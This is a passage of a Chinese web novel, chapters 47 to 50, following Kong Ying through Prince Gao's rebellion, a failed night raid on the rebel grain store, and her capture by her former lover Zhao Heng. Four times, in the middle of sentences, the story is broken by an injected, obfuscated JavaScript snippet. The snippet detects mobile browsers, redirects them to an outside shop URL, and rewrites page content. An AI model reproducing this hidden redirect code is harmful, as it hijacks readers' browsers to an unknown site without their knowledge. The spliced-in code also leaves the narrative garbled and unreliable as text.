想他好歹也是护国公府二公子,在孔英回归京城之后,他出走西北之前,两人也有过一段兄妹相亲的日子,可惜已经是多年前的事了。 孔穆常在军营,与女子接触不多。关系能算上亲近的甚至只有大嫂舒月蓉,不过大哥孔肃一直防贼一样阻隔着。孔穆本来就没有那种心思,见大哥吃醋更是避嫌。 他对女子的细腻心思怕是不会懂,但多少能看出来孔英此刻心情不佳。 “其实这也是件好事,至少让你看清江湖上不是所有人都值得相信。先前万两金确实可靠,转眼又来了个江湖骗子。” 他观察着孔英的脸色:“你若是气不过,二哥命人去将那张德良抓回来?” 孔英连忙阻止:“别了,这事就让它过去吧。”接着叹了一口气,“我也不是气他,而是觉得自己确实太草率。” 分明她从前已经被赵衡狠狠骗过一次,怎么就不长记性呢。 孔穆道:“你就趁养伤这些日子好好歇歇,等你养好了伤,估计有场硬仗要打。” 他这话说得意味深长,孔英狐疑地看了兄长一眼,直觉不是好事: “什么意思?” 孔穆定定看着孔英两三秒,撇头移开目光道:“此事还未成定局,我现与你说了也是徒增你的烦恼。若真有事,我也会替你谋划好。” 孔英心大,对向来以计谋闻名的二哥有种天然的信任。既然对方都如此说了,再多担心也是庸人自扰。那便兵来将挡,水来土掩。 47. 孔英要两难遭夹击 高王反了。 孔英还躺在床上养伤,颇为震惊地看了眼来传消息的孔穆:“高王?南至郡的高王?” 孔穆点点头,苦笑:“高王在北,赵军在南,这下子我们可是要被两面夹击了。” 这消息来得太突然,孔英不太愿意相信自己印象中的高王居然会和赵衡勾结谋反。分明他们先前在南至郡时,赵衡和高王还是对面不相识的模样。 是他们早就串通一气,还是当初自己阴差阳错给他们牵了线…… 高王的封地南至郡可谓是片宝地,先前替怀州解困的万两金便是集结了南至郡的粮商,才合力将粮食经由水路运到怀州。 “有钱、有粮、有兵,得此助力,将军大计将成!” 手下将领向赵衡祝贺,赵衡笑而不语。得一大助力,众人都很高兴,酒过三巡,待宴会散去,赵衡身边只留下三两亲信。 饮酒过后他面上带着醉意,眯起眼睛看向欲言又止的亲信,抬了抬手: “但说无妨。” 亲信躬了躬身子,犹豫着说出自己的担忧:“高王此人虽答应与主上共谋霸业,但他连自己的亲哥都能背叛,难保不会……” 亲信止住话头,一切尽在不言间。 赵衡笑道:“叛人者人恒叛之,我只需要高王牵制南朝援军,但若我军一朝挺进南朝腹地,届时他合作与否,还重要吗?” 赵衡相信的从来只有自己的兵马铁骑,对合谋者信七分疑三分。 “且他和南渐鸿间的恩怨已久,只要他不倒向南朝,是什么立场重要吗?” 高王多年前在宫里看过一场戏,讲的是书生王朗头悬梁锥刺股,考中状元后面对长公主的绣球,直言自己在老家早就定下亲事,拒绝赐婚去求娶自己的青梅竹马。 两人婚后相敬如宾,可惜他妻子没几年就撒手人寰。王朗悲痛万分,官至宰相依旧每日在佛前跪拜,整整三十年。佛祖被他打动,将亡妻的魂魄从地府召回,成全一对有情人。 这出戏演得感人至深,就连皇帝南渐鸿也不忍落泪,特地吩咐人给戏班重赏。 那时有人问了高王这样一句话:“你看完了整出戏,可还记得王朗那位妻子叫作什么?” 高王一时语塞:“……这,似乎姓苏?” 答:“是叫苏秀!这戏讲了许多王朗情深意重,却叫观众连一个名字都记不住,真好笑。” 高王见对方似乎对这出戏很不喜,反驳道:“但王朗结结实实跪了三十年,这还不够?” 那人冷笑声:“要我看来,他这是在赎罪呢!长公主被王朗当众拒绝,若换作是你,你咽的下这口气?苏秀原本好好的,突然身染重疾,你是相信天有不测风云,还是有人暗中作祟。” 高王道:“照你这么说,这一切还得怪王朗?” 那人答:“反正与他脱不了干系。而且你看看这结尾,王朗官运亨通、声名远扬,早逝的妻子还魂重生后居然还是一副年轻貌美的样子,好事全让他占了。” 高王笑道:“听上去你不像是讨厌王朗,倒像是嫉妒他。” 那人坦然:“我还不至于嫉妒个话本里的人物,可惜你看一眼周围,这样的人却也不少。”她愤愤,“可惜穿成个小宫女,我要是个男儿身,我定能……” 后面的话高王没听清,又或许是那人故意说得轻了,根本就没想让人听清。 高王下意识发问:“你定能什么?” 那人猛然想起什么似的浑身一激灵,拍手懊恼:“我该走了,下回再聊!” 这是南经武年轻时的一段往事。 新朝初立百废待兴,南经武未获封地,还住在京城。某次独自进宫,碰见个宫女站在湖边就要往里跳,他以为是对方受了委屈想不开,连忙上前将其救下。 结果那个宫女被救之后不但不领情,还直对着南经武翻白眼,嘴上骂骂咧咧: “什么破地方啊,想死都死不了。你谁啊,我好好地在这儿投湖,你多管什么闲事!” 南经武被劈头盖脸骂一通,还能好脾气劝想投湖的宫女:“姑娘,遇到什么事都不值得你轻生啊。身体发肤受之父母,你这样你爹娘该怎么办。你这么年轻,还有大好人生……” 宫女好几次想插嘴,硬生生没找到机会,唇瓣开了又闭,傻眼看着眼前这个衣着不凡的唐僧念经般好一通说教。 最后没了脾气,两手一摊:“停停停,我不跳了总行吧。”撇撇嘴,“我那么久心理准备都白做了,你以为下定决心想死很容易啊。” 南经武不解:“听上去你也不是很想死,到底是遇上了什么天大的事,让你宁愿投湖?” 宫女道:“没手机没马桶还有封建礼制……哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288467|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算了,跟你这个古代人说不清楚。” 南经武听不懂什么是“手鸡”和“麻桶”,但好歹能听懂“礼制”,估摸着眼前看上去年纪不大的宫女是受了欺负,好言好语道:“你这么一死了之,岂不是亲者痛仇者快……” 在南经武的长篇大论下,宫女崩溃地败下阵来。 相逢既是有缘,南经武问了宫女的名字,还问她在哪个宫里做事。 宫女豪放叉腰:“我名叫天赐,反正都是当奴才,在哪个宫有什么区别?” 南经武失笑,心想:天赐,这个名字真是狂,怪不得这人的性子也这么狂。 可是后来南经武跟人打听宫里是否有个叫“天赐”的宫女,却无论如何也打听不到这人的消息,才后知后觉想到:被骗了。 也是,哪里会有宫女叫“天赐”。 本以为再难相见,结果在看戏时南经武居然又见到了这个小宫女。她老老实实低眉顺眼跟在德妃身侧,哪里有半分之前的不羁样子。 戏台落幕,众人散去。靠着偷听德妃和宫女间的对话,南经武终于知道了宫女的真名:小蝶。 是啊,这才是个宫女的名字。 又见南经武,宫女毫不意外,显然是之前就看见了坐在皇帝下座的他。 “知道我是王爷,你就半点不害怕?” 宫女翻了个白眼:“怕你作甚,大不了就是一个死。” 南经武没有追究宫女欺骗自己的过失,他觉得这人很有趣,骂了戏文里的王朗,有时还说些“字游”、“瓶灯”的怪话。 虽然听不懂是什么意思,但看着她说话的样子,自己居然觉得享受。 糟了。南经武摸摸自己因练武而宽广的胸膛,里面的心脏砰砰直跳。 快乐的时光总是短暂。宫女匆匆离去后,南经武怅然若失,等马车驶离皇宫回了王府,他才回过神,下定决心明天就再进宫。 他想娶小蝶。 思绪悠悠然然从很远以前飘回现在。 铜镜里的男人垂下眼帘,烛火在他眉骨下方投出阴影,浓密的长须早已褪去年轻时的乌亮。手里无意识地捻着须尖,面上看不出喜怒。 高王清楚,自己既然答应与赵衡合谋,即使赵衡打的名头再好听,落到自己身上,也是个“乱臣贼子”的名声。 这条不归路,他去也。 48. 孔英要领命夜奇袭 前线两军缠斗,朝廷也风起云涌。 宫门开启时,天边刚泛出一点鱼肚白,青石板路被赶早的马车轮碾过,留下几道深色的痕。 大殿里门窗敞开,晨光斜斜照进来。南渐鸿坐在御座上,明黄绸面的龙袍加身,眼袋发青。目光沉沉掠过阶下,最后落在最前方两人身上。 护国公孔青雄宽厚的肩背绷得笔直,面色不佳。国师燕寒松一身素纱长袍,手里摇着一柄羽扇,神色平静得像一潭深水。 皇帝声音不高:“高王反了。怀州危难,都说说,怎么办?” 兵部尚书第一个出列,干巴巴念了些调兵遣将的章程。接下来官员七嘴八舌,大多是些催粮、征丁、安抚流民。 孔青雄抿着唇,喉结上下滚动了几次,一直没说话。 先前与怀州通信尚畅通时曾收到孔英消息说粮草迟迟未到,他曾征战沙场,又在官场混了这么些年,如何不知道是有人从中作梗。只是查来查去,他没想到是南经武在背地里下手。 得知高王谋反时,孔青雄脑袋一嗡。 怪不得孔英离开南至郡后就遭人追杀,中毒后差点性命垂危。孔青雄从追风阁下手,查到下追杀令的是个名叫郭广的男子,此人见事情暴露就直接服毒自尽了。 但孔青雄一直奇怪为何郭广下追杀令的对象,为何不是万两金和赵衡,偏偏这么恰好就盯上了孔英。 现在想来,如果他不是幕后主使,只是被推出来当个替罪羔羊呢? 孔英意外破坏了高王的谋划,为不暴露只好将到手的粮食漕运产业拱手让出,又将罪责全推到郭广身上,把自己摘得干干净净。 孔青雄暗暗心惊,若此番猜测为真,那么自己这位曾出生入死的好友,可真是城府颇深…… “护国公有何高见?” 皇帝发问,孔青雄跨出一步,抱拳躬身,动作带着武将的利落,声音却压得有些紧: “陛下,逆贼发难,怀州兵微将寡,孤城难守。恳请陛下增发援兵,增援怀州!” 一双儿女尽在怀州,孔青雄的心都恨不得飞到怀州去了。况且怀州若是沦陷,接连上反叛的南至郡,意味着南朝大半个南方都将被前朝逆军所掌控。 南渐鸿转开视线,看向燕寒松:“国师以为护国公所请如何?” 燕寒松微微躬身:“护国公一片拳拳赤诚之心。增兵之法确有其理,然调兵遣将非易事,尚需详议。” 殿外蝉鸣渐起,殿内气氛沉闷。 孔青雄一听就明白燕寒松是在说些无实际建议的废话,内心苦笑的同时难免感到悲凉。 高王的反叛像一根毒刺,扎得皇帝对所有握权之人都疑神疑鬼,更别提皇帝本就对他们二人有猜忌。圣心难测,只是孔青雄没想到到了这种关乎危亡的时刻,南渐鸿还想试探他们。 谁会想到,十多年前意气风发打天下的四人,如今走到这种地步。 孔青雄垂下眼,沉默地退回班列。 京城众人各怀心思,怀州这边也是愁云密布。 统领容淳前些日子在战场上受了伤,一条伤臂吊在胸前。他将所有将领召集起来,其中自然包括已经养好伤的孔英。 “再这样下去,怀州撑不到援军来。”容淳声音沙哑,说出这个所有人心知肚明的事实。 逆军攻势越发强劲,猛烈攻势下,怀州损失惨重。刚跨过缺粮的难关,又遭到南北两面围攻,怀州兵力远远不足,这基本是个死局。 “孔英,你率一支精兵,夜潜入逆军囤积辎重之所,务必给予敌军迎头痛击,争取时间。” 众将领目光齐齐转向孔英,见其上前屈膝领命,心底不知作何滋味。 谁都知道此事凶险,被困怀州是死,但夜袭敌军一事,成功还好,不成功便是去白白送死。 但眼下军中,居然还真的只有这个从西北军来的指挥使最合适。 相比其余人,孔英算是心情最平静的一个了。她先前就从孔穆口中得知,容淳有意将这个烫手山芋交给她。军命不可违,那她便欣然接受。 当初投奔参军,踏上战场,孔英便看开生死。 其实要说半点不怕是不可能的,毕竟孔英如今找回了自己的家人亲眷,不同于当初没有记忆的走肉,有了这么多让她牵挂的人。 有了牵挂就会优柔寡断,但为了这些牵挂的人,孔英也只能英勇向前。 提前知道容淳有这个想法,孔英便开始着手准备。 “我认识你后,怎么总摊上些麻烦事呢。” 女郎言词貌似抱怨,眼中却没什么责怪孔英的意思。孔英清楚对方只是随口一说,并不放在心上。 要是陈飞燕真觉得此事棘手,就不会应下她的邀约,来到这危险重重的怀州。 奇袭奇袭,自然要用些奇人。虽然孔英先前被张德善骗了一遭,但她亲眼见证过陈飞燕精湛的轻功。若说要带人攀上那绝壁,有陈飞燕的帮助定然会轻松些。 而陈飞燕虽说是个名声不大好听的飞贼,却也知道孰轻孰重,孔英在这种时候请她相助,她说不出“不”字。 退一万步,陈飞燕还可以靠轻功逃跑嘛,不成功也成不了仁,要是成功了,说不定她还能乘此机会讨些封赏。 按照他们的计划,孔英首先带人潜入绝壁之上的囤积辎重之所,趁着夜色放一把大火,在敌军一团乱麻之际,副将带多支小队从多面围攻。不求歼敌多少,只求尽可能多捣毁敌军后勤。 听上去很难,实际上一点也不简单。 既然是孔英等人是偷袭,那人数必然不能过多,又是在敌军领地,也就意味着一旦被发现,那基本就是个有去无回的结局。 且此等重地,必然守卫森严。若他们能攀上绝壁,跨过了第一道险关,想要无声无息潜入敌军营地也很困难。因此,孔英还命人调制迷香,务必做到无色无味、一迷一大片。 其中,虞鱼出了大力。 现下正是缺人的时候,自然不拘一格降人才。不在怀州的陈飞燕都请来了,就在军营里的虞鱼当然也要用上。 众人就算一开始有疑虑,但城内药师见过虞鱼的迷香后都甘拜下风,疑虑转化成了重视。 这耿副指挥使, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288468|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真是认识不少能人异士啊。 万事俱备,只欠东风。 孔穆夜观天象,推算出最适合放迷香的日子就在三天后。孔英等人多次演练,只求不出差错。 都说刀剑无眼,孔英觉得真正的战事并不只有打打杀杀。若是他们占上风,猛攻突围倒也是个好办法。可现如今他们陷于被动,那用些阴谋算计也不是不行。 穿着单薄夜行衣贴在峭壁上,身子还能感受到湿漉漉的潮气,头顶的月亮早被乌云盖得严严实实。 孔英咬着牙,指尖划过湿滑的苔藓,摸索着石棱或岩缝落手。汗水刚冒出来就立刻被冷风吹干,她余光往脚底瞥,一片望不到底的黑。 陈飞燕的身影在她上头不远处,在陡峭的岩壁上无声移动。孔英听不到她的呼吸,只能偶尔感觉到对方带起的一丝微弱气流。 陈飞燕动作比她轻巧许多,仿佛天生就和这绝壁长在一起。即使这样,她也停了好几次歇息。 真高…… 夜里起风、石子滚落、崖壁陡峭,无一不是危险,一步差错就要摔得粉身碎骨,估计连面貌都认不清楚。 孔英突然觉得自己当初真是老天保佑,居然跳崖都没丢了命。 所幸曙光就在眼前。 陈飞燕隐隐见到了上方营地的火光,压低声音朝下喊:“我先上去找落脚点。你们仔细看我的铁索,跟紧。” 紧接着,她就像一只贴壁的壁虎悄无声息往上。孔英只能模糊看到她手脚并用,在岩壁上飞快地移动,很快身影就融入了上方深沉的黑暗,只偶尔能听到细微的沙沙声。 寒气顺着裤腿往里窜,孔英的手掌因为长时间用力握着湿冷的石头,指节有些发僵。 一条细长铁索从上方黑暗中垂落,轻轻晃动几下。 孔英抓住冰凉的铁索,试着拉了拉,很稳。她脚蹬在刚才陈飞燕摸索过的、几处勉强能容下脚尖的微小凹陷里,脚下的石块却突然松动。 “稳住。” 陈飞燕不知何时已经下来接应,用脚尖顶住了她下滑的靴底。孔英不敢大喘气,在对方的帮助下重新找到一处稳固的落脚点。 陈飞燕满头大汗紧贴在岩壁上,对她点了点头。 再往上,风开始变大,空气里开始混杂着上方飘下来的、越来越清晰的烟火味、马粪味和人居的气息,甚至能听到模糊的说话声和脚步声。 陈飞燕找的地方是个向内凹陷的棚岩,这处天然形成的石檐暂时隔绝了上方营地的视线和寒风的直接吹袭。 孔英上来后,陈飞燕又下去协助别人。待所有人到位,陈飞燕几乎要累得说不出话,靠着岩壁喘息。 孔英强忍着全身酸软,努力平复呼吸,小心翼翼地探出头,从这个相对隐蔽的角落向上望去。 营地就在上方不远,几处篝火燃烧着,火光跳跃,映出附近走动的人影轮廓。 孔英顾不得脏,舔湿手指,用手指感受了一下气流方向。 解开随身药囊,拿出个厚实的布袋子,将药袋的口子对准上方的棚岩边缘一甩,一股极其细微的粉末飘出。 49. 孔英要夜袭遭意外 那药粉像一阵薄雾,被溜进来的风裹挟着,轻柔又迅速地向上方飘去,无声无息地融入黑暗,飘向那片灯火和人影晃动的营地。 尽管提前服用过解药,孔英还是下意识屏住呼吸,减少迷香的吸入。 起初没有任何动静,直到上方传来几声重物扑倒在地的声响,营地的喧嚣声渐弱。 成了。 孔英朝众人使了个眼色,从棚岩的阴影里探身,手脚并用攀上棚岩边缘,悄无声息地滚落到营地的地面上。 靠近崖边的这一片区域已经彻底昏睡过去。篝火无人添柴,火光微弱地跳跃着,映照着周围东倒西歪的人影。 开弓没有回头箭。 孔英打手势示意众人动手,众精兵迅速散开,掏出火折子吹亮,靠近粮草麻袋、木栅栏等引火之物,火苗猛地窜起,灼热的火浪扑面而来,映红众人的脸庞。 营地某处,一个身影从营帐中匆匆快步走出,鼻子灵敏抽动一下,眉头瞬间拧紧。 “闭气,捂住口鼻!”他一边吼,一边飞快地从怀里摸出个油纸包撕开,将一撮淡黄色的药粉倒进嘴里,又将剩下的粉末尽数洒出。 几个被火光惊醒尚晕乎乎的士兵,下意识捂住口鼻,惊恐望着窜天的火光。 温明面容阴郁,目光扫过燃烧的粮垛迅速锁定了罪魁祸首,身形一晃,抽出软剑直冲那个忙着放火的身影刺去。 陈飞燕刚点着火,心头莫名一跳,几乎是凭着本能将身体向旁边一旋。冰冷的剑锋擦着她的腰侧掠过,削断了衣襟一角。 “好轻功!”温明冷喝一声,软剑在他手上如同活物般划过一道弧线,缠向陈飞燕的脚踝,剑势刁钻狠辣。 陈飞燕迅速从袋中掏出迷药向温明撒去,谁料对方行动自如,半点不受影响。她脸色微变,脚尖在旁边的粮袋上一点,身体轻飘飘拔起,险之又险地避开温明攻势。 这迷药怎么不起作用了! 陈飞燕不敌,只好狼狈后退,却见越来越多敌军士兵向他们围过来。 刀剑碰撞声、怒吼声、火焰燃烧的噼啪声交织在一起,乱成一团。 见此情景,孔英心下一沉。他们既要攀爬峭壁,本就不便携带刀剑武器,如今暗器数量远远不够,迷药又起不上作用。 她一脚踢开围攻过来的兵卒,步子迈得飞快,尽可能多点燃些粮草,谨记自己的任务是捣毁更多敌人后勤。 与温明缠斗的陈飞燕发出一声闷哼,孔英余光看去,陈飞燕的衣袖被温明的软剑划开一道长口子,手臂上渗出血痕,明显已是落于下风。 “走!”孔英朝陈飞燕的方向猛喝一声,同时踢起地上的石子朝温明飞去。 陈飞燕不再恋战,忍痛掠上旁边一处粮垛顶端,深深看了眼被重重围困的孔英,眼神复杂。随即身形一晃,朝着崖边黑暗的方向疾掠而去,几个起落便消失在混乱与火光之外。 温明没有再追,冷峻的目光落到孔英身上。 怀州军被越来越多的士兵分割包围,孔英双拳难敌四手,汗水浸透衣衫,呼吸粗重。 温明轻易穿过混乱的众人,软剑一甩,精准割在她膝盖上。孔英控制不住跪倒在地,不甘心地抬头,正对上温明那张毫无表情的脸。 温明探手在她身上几处地方重重一戳,孔英只觉得全身力气瞬间被抽空,像一滩烂泥般瘫倒在地,连动一下手指都变得无比艰难。 “捆了。”温明下令。 几个士兵立刻扑上来,用粗硬的麻绳将孔英死死捆住。 风声飒飒,陈飞燕脚尖在屋脊瓦片上轻点即过,只留下模糊的残影。身后远处,敌军营地的火光映红了半边天,隐约的喧嚣被远远甩开。 她将轻功催到了极致,每一次呼吸都牵扯着身上被温明击中的地方,火辣辣地疼,但她不敢停。 终于到了怀州城,陈飞燕轻盈地翻过城垛,悄无声息地落在城头。守城将领被黑影惊得差点拔刀,看清是她,才松了口气。 “快,带我去见容统领和孔军师!” 怀州议事厅内灯火通明,屋内气氛凝重。今日之战颇为重要,谁都没心思睡觉。容淳吊着伤臂坐在椅上,面色沉沉。孔穆正站在窗边,远远望向前朝逆军驻地方向。 门被猛地推开,陈飞燕冲了进来。 她扶着门框,气息不稳,着急得喉咙都哽了一瞬。 众人看她形容狼狈,心里凉了一半,接着便听到陈飞燕抛下一句“行动失败”的消息。 孔穆脚下一软,好不容易扶住窗台才稳住身形。 容淳猛地站起:“到底怎么回事,只有你一人逃了回来吗?” 陈飞燕顾不得要一杯水润喉,语速飞快地讲述了一路过程。 “原本一切顺利,可突然出来个使软剑的男子,他武功高深,吸了迷药居然也没什么反应,我们不敌,耿指挥使命我先回来。” 说起这个,陈飞燕心里发涩。其实她本就有“打不过就跑”的念头,但她主动逃跑和孔英喊她逃跑很不一样。 主动逃,逃了就逃了,她本来就不是个道德感强的人,不过就是做回来无影去无踪的女飞贼。 但如今孔英主动帮她牵制温明,她这心里突然就过意不去了。 孔穆只觉得一股凉气从脚底直冲颅顶,指甲深陷掌心。只有陈飞燕一人逃了出来,孔英落入敌手,敌军首领还是那个与他们有不浅渊源、对孔英有杀心的赵衡。 向来清明的大脑如今一片空白,推算来推算去,却怎么走都是死胡同。 而虞鱼接到消息,听说自己的迷药没起作用,骤然一惊后便是不可置信,直到得知敌军内有一名“使软剑”的高手,心神俱震瘫倒在地。 “怎么会……” 世间竟有如此巧合,她和秦嵇遍寻不得的师傅温明,居然加入了前朝逆军,而他们却一无所知。 怪不得,怪不得。 她这一身本领都是温明教的,即使制香技艺高过别人,也比不上温明,被他识破也不奇怪。 知道自己无意之中害孔英身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288469|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陷囹圄,虞鱼脸色惨白如纸,低头看着自己颤抖的双手,缓缓捂住了自己泪流的脸。 营地的火光渐渐黯淡下去,只留下满地焦黑和呛人的烟味。 温明站在军帐前,对着匆匆赶来的赵衡俯首道:“按您的吩咐,人已经带到了。” 赵衡没说话,只挥了挥手。温明会意,无声退入阴影里。 怀州军遭围困,必然不会坐以待毙,只是他没想到是以这样的方式奇袭,还是孔英带队,这在赵衡意料之外。 赵衡刚刚击退从正面进攻的队伍,靴底还沾着泥和血,听说孔英一行人被温明俘虏,心头一跳。 帐帘低垂,被夜风吹得微微晃动,隐隐可见里头有个人影。夜风吹动他额前几缕散落的发丝,赵衡轻轻拂上右耳,摸到一个清晰的、丑陋的伤痕。 他站了许久,扯几缕碎发将右耳盖住,最终还是掀开了帐帘。 帐内光线昏暗,一盏烛火照亮不大的空间。孔英被反绑着双手,坐在角落的草堆上,身上的夜行衣沾上烟尘和血污,脸上也有几道擦痕,头发散乱,但背脊依旧挺得很直。 听到声响,孔英猛然抬头,看清来人的面容时,面上刻意摆出的凶横轻蔑停滞一瞬。 赵衡一步步走近,脚步声在寂静的帐篷里格外清晰,在离孔英几步远的地方停下。 当日战场重逢,孔英一箭射穿了赵衡的右耳,怀州大捷。却没想到风水轮流转,再次相见,她孔英成了俘虏。 赵恒率先开口,声音低沉:“耿指挥使。”他刻意用了这个称呼,仿佛是在提醒自己。 孔英眼神冷硬:“不敢当,阶下囚而已。”声音被烟火熏得沙哑,却字字清晰。 “赵将军有何指教?” 赵衡视线落在她含恨的双眸上,似乎被烫了一下仓促移开,忍着心头涌起的酸涩,只细细描摹着对方的面庞。 瘦了,黑了,脸上还留了道伤疤。 烛火飘摇,在他脸上投下明明暗暗的阴影。半晌,赵衡才又开口,声音里带上了一丝喑哑:“你,这些日子可还好?” 旧情人相见,要说心里没有半点波动是不可能的。 孔英的身体几不可察地僵了一下,别过脸冷笑出声:“不劳费心。你若是来劝降,大可省了这份力气。若是来叙旧……我与叛军首领没什么可聊。” 赵衡走时失魂落魄。孔英心里颇为复杂,怀疑赵衡难道对自己还余情未了,转念又自嘲自作多情。 不过赵衡没有立刻下手,而是留了她一条性命,总归是个好消息。 另一边,温明擦拭着自己的软剑,默默出神。 今夜士兵莫名昏倒,他在空气中嗅闻到一股特殊的气息,极其浅淡,但作为药方的改良者,温明怎么会察觉不出来呢。 天上乌云散去露出明月,他将擦拭后的软剑对着月光看了一眼,将剑收回剑鞘。 温明自幼在七仙宗长大,虽未能被宗主收入门下,但从小耳濡目染,作为宗门双绝的剑术和制香却也略知一二。 50. 孔英要无奈掉马甲 也不是温明不想加入七仙宗,他自认天资不差,可宗门七仙说什么也不答应,久而久之他只好断了这个心思。 但七仙不收他为徒,温明就真不学吗? 温明自幼被门派收养,对门派了如指掌。经常利用便利潜入藏经阁阅览经典,在七仙修炼时悄悄偷学。 他想着有朝一日,能靠自己学来的本领向他们证明自己一点都不差。 只是世事难料,比这一天更先来临的战乱。 温明十五岁那年亲眼见七仙郡被破,七仙守城力竭而死。养自己长大情同父母的人惨死在自己眼前,温明几欲昏死。 一面仇恨敌军,一面觉得若是早开城门,城内光景不至“易子而食”的地步,七仙更不用死。 温明又哭又笑,想死又怕死。 怪不得七仙不愿收他为徒,原来他真懦弱至此。 温明道心破碎归隐山林,山中寂寞,先后收了秦嵇和虞鱼为徒,养鸟种花喝酒。待两个徒弟都渐渐大了,他就去游山玩水,寄情于天地之间。 在岱山时,温明遇到个怪人。 对方自称名为张三,温明一看便知这是假话,但萍水相逢也无意拆穿。 张三像是许久未见活人,抓住温明就向他打听山下如今是何光景。温明一一说来,见对方可怜,便将自己随身带的美酒与张三共享。 酒过三巡,张三酒后吐真言。温明这才知道原来他也参与过前朝与南朝军的战役,不过刚上战场就吓得跑了。 温明联想到为守城而战死的七仙宗众人,刚喝过酒血性上头,一怒之下就想砍了张三这个逃兵。软剑刚出鞘,见张三涕泪纵横的脸,“哐当”一声,软剑落地,悲从中来。 张三是懦夫,温明又何尝不是呢? 似乎是总算找到个能谈一二心事的人,温明将自己的悔恨尽数倾诉出来,也没管已经昏睡过去的张三,自顾自说着,仿佛回到那日的血雨腥风中。 但这次温明没有胆怯躲藏,而是拿上软剑与宗门众人齐上阵,被敌人一箭穿心,也终于在死前得到了宗门众人的认可。 一朝大梦如初醒,已日上三竿。 张三自觉与温明话很投机,厚着脸皮请温明下次再来时,带上一壶自己家乡的汾酒,温明应允。 再后来,赵衡率人在南边起军,温明佩剑参军,却不敢以七仙宗传人自居。毕竟世人都知道,七仙宗人全至忠至孝死在当年那场战役中了。 温明被派去守粮仓,没想到意外阻止了来偷袭的怀州军,还因此立功升官,或许不日就能正式领兵上战场。 温明又想起那夜闻到的迷香,这香当今只有两人会制,除了他便是…… 怀州已经炸开锅,不止因夜袭失败,还因为敌军传出来个大消息。 护国公三小姐孔英被生擒俘虏了! 护国公三小姐怎会在此,又怎么莫名其妙就跑到敌军营地里去被俘虏了呢? 怀州军这才知道与他们朝夕相处的耿副指挥使居然是个女子!而且身份不俗,是军师孔穆的亲妹,更是护国公府的三小姐,护国公孔青雄的掌上明珠! 一时间城内议论纷纷。 孔穆面对容淳的质问只好无奈承认。升官成百户长的孟超听见这个熟悉的名字,恍然意识到孔英就是在容水县那个要与他单挑的小姑娘,怪不得他总觉得耿指挥使眼熟。 可惜再次听闻故人消息,竟是如此。 怀州城内如何,孔英是不知道了。 如今她被困住双腿双手自顾不暇,整日被关在赵衡营帐内。赵衡这人也是奇怪,俘虏了敌军副指挥使却不用刑也不审问,一日三餐照常,还让她睡在自己席子上。 要不是送餐兵卒看着她时奇怪的眼神,孔英几乎都要以为前朝逆军对待俘虏的态度已经好到这种地步了。 几日间,赵衡每日都是日暮西沉才回营帐,看着她也不说话,安安分分离孔英六寸距离倒头就睡。 孔英眼见仇敌就在眼前,偏偏那可恶的温明不知给她喝了什么东西,让她至今使不上力气。 真是稀奇,孔英从小到大最不缺的就是力气,可到用时偏偏使不出来。 孔英最开始还尝试怒骂赵衡,试图激怒对方,可赵衡不气不恼,只用一双眼睛盯着她,她骂多了也觉得无趣,不如省点力气早些恢复。 一日日数着,数到赵衡第七次回来。 这次赵衡没有立马睡觉,卸下甲胄,只穿着深色的常服,拖了张矮凳,坐在离孔英几步远的地方。 他踌躇着开口:“英英,我确实做错了事,不该欺骗你,可我也有我的苦衷。” 见孔英没有反驳,赵衡心里燃起一丝希望,身体不由得又前倾了些:“我知道你恨我,你恨我是应该的。但念在夫妻一场……” 话音未落,就见孔英面色一变,紧接着自己下颚传来剧痛,身子不受控制地往后仰去,摔了个四脚朝天。 蓄力踹了赵衡一脚,孔英自己也不好受,浑身又泛起无力感,脑中一阵眩晕,但看着赵衡的狼狈模样,精神上的快感远大过身体上的痛楚。厉声喝道: “狗屁,你也配提‘夫妻一场’……你当初骗我身心,害我丧子,我坠崖九死一生,侥幸才捡回一条命……”几句话说得断断续续,孔英还想说什么,却抵不过体内药力作用,昏厥过去。 赵衡刚从地上爬起,一道晴天霹雳打在他身上,僵在原地,脸上血色尽褪,只剩下震惊与茫然。 什么孩子,什么九死一生……! 见孔英昏倒,顾不得作痛的下巴,急切唤道:“英英你怎么了?温明,温明!” 一阵兵荒马乱。 守夜的侍卫见赵衡营帐内热闹非凡,偷偷嚼舌根:“你说这孔三小姐是给将军下了什么迷魂汤,我还从没见过将军这副样子。” 另一人感叹:“色令智昏呐。我送餐时见过那个女人几回,长得也就那样,脸上还有条疤,真不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 